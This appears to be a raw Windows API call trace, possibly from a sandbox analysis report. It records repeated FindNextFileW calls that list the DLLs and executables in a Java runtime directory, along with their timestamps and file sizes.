	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="INSTAL~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1
	[0054.991] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1
	[0054.992] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1
	[0054.992] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1
	[0054.992] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1
	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1
